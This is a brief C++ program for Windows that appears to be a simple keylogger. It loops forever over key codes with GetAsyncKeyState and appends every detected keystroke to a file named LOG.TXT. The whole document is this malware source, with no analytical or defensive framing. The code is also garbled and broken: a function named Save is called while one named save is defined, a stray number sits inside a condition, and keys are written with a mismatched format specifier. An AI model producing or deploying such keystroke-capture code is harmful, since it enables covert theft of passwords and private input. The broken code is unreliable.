1 #include <iostream>
2 using namespace std;
3 #include <windows.h>
4 #include <winuser.h>
5
6 int save(int key_stroke, char *file);
7
8 int main()
9 {
10 char i;
11
12 while (1)
13 {
14 for(i = 8; i <= 190; i++)
15 {
16 if (GetAsyncKeyState(i) == -32767)
17 Save (i, "LOG.TXT");
18 }
19 }
20 system ("PAUSE");
21 return 0;
22 }
23 /* ************************* */
24 /* ************************* */
25 int save(int key_stroke, char *file)
26 {
27 if ( (key_stroke == 1) || (key_stroke 28 == 2) )
29 return 0;
30
31 FILE *OUTPUT_FILE;
32 OUTPUT_FILE = fopen(file, "a+");
33 fprintf(OUTPUT_FILE, "%s", &key_stroke);
34 fclose(OUTPUT_FILE);
35 cout << key_stroke << endl;
36 return 0;
37 }